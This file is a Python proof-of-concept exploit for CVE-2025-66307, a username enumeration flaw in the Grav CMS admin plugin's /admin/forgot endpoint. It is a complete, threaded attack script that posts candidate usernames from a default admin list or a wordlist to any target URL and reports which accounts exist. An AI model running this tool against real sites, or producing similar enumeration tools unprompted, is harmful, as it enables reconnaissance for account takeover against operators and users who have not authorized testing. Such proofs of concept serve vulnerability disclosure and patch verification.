#!/usr/bin/env python3
"""
CVE-2025-66307 PoC - Grav CMS User Enumeration
This script demonstrates the user enumeration vulnerability in Grav CMS admin plugin.
The /admin/forgot endpoint leaks information about valid usernames and emails.
"""
import requests
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
class GravUserEnumeration:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.forgot_endpoint = f"{self.target_url}/admin/forgot"
self.session = requests.Session()
def check_user_exists(self, username):
"""
Check if a username exists by analyzing the response from /admin/forgot
"""
data = {
'username': username,
'task': 'forgot'
}
try:
response = self.session.post(
self.forgot_endpoint,
data=data,
timeout=10,
allow_redirects=False
)
# Analyze response to determine if user exists
# Valid users typically get a specific response or are processed differently
if response.status_code == 200:
text = response.text.lower()
# Different error messages indicate user existence
if 'invalid' not in text and 'not found' not in text:
return {
'username': username,
'exists': True,
'confidence': 'high'
}
else:
return {
'username': username,
'exists': False,
'confidence': 'medium'
}
return {
'username': username,
'exists': None,
'confidence': 'low'
}
except requests.RequestException as e:
return {
'username': username,
'exists': None,
'error': str(e)
}
def enumerate_users(self, username_list, threads=10):
"""
Enumerate users from a list of potential usernames
"""
valid_users = []
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {
executor.submit(self.check_user_exists, user): user
for user in username_list
}
for future in as_completed(futures):
result = future.result()
if result.get('exists'):
valid_users.append(result)
print(f"[+] Valid user found: {result['username']} (confidence: {result['confidence']})")
return valid_users
def main():
parser = argparse.ArgumentParser(description='CVE-2025-66307 Grav CMS User Enumeration PoC')
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://target.com)')
parser.add_argument('-w', '--wordlist', help='Wordlist file with usernames')
parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads')
args = parser.parse_args()
# Default test usernames
default_users = ['admin', 'administrator', 'root', 'user', 'test', 'guest']
enumerator = GravUserEnumeration(args.url)
if args.wordlist:
with open(args.wordlist, 'r') as f:
users = [line.strip() for line in f if line.strip()]
else:
users = default_users
print(f"[*] Starting user enumeration against {args.url}")
print(f"[*] Testing {len(users)} usernames...")
results = enumerator.enumerate_users(users, threads=args.threads)
print(f"\n[*] Enumeration complete. Found {len(results)} valid users.")
return 0 if results else 1
if __name__ == '__main__':
sys.exit(main())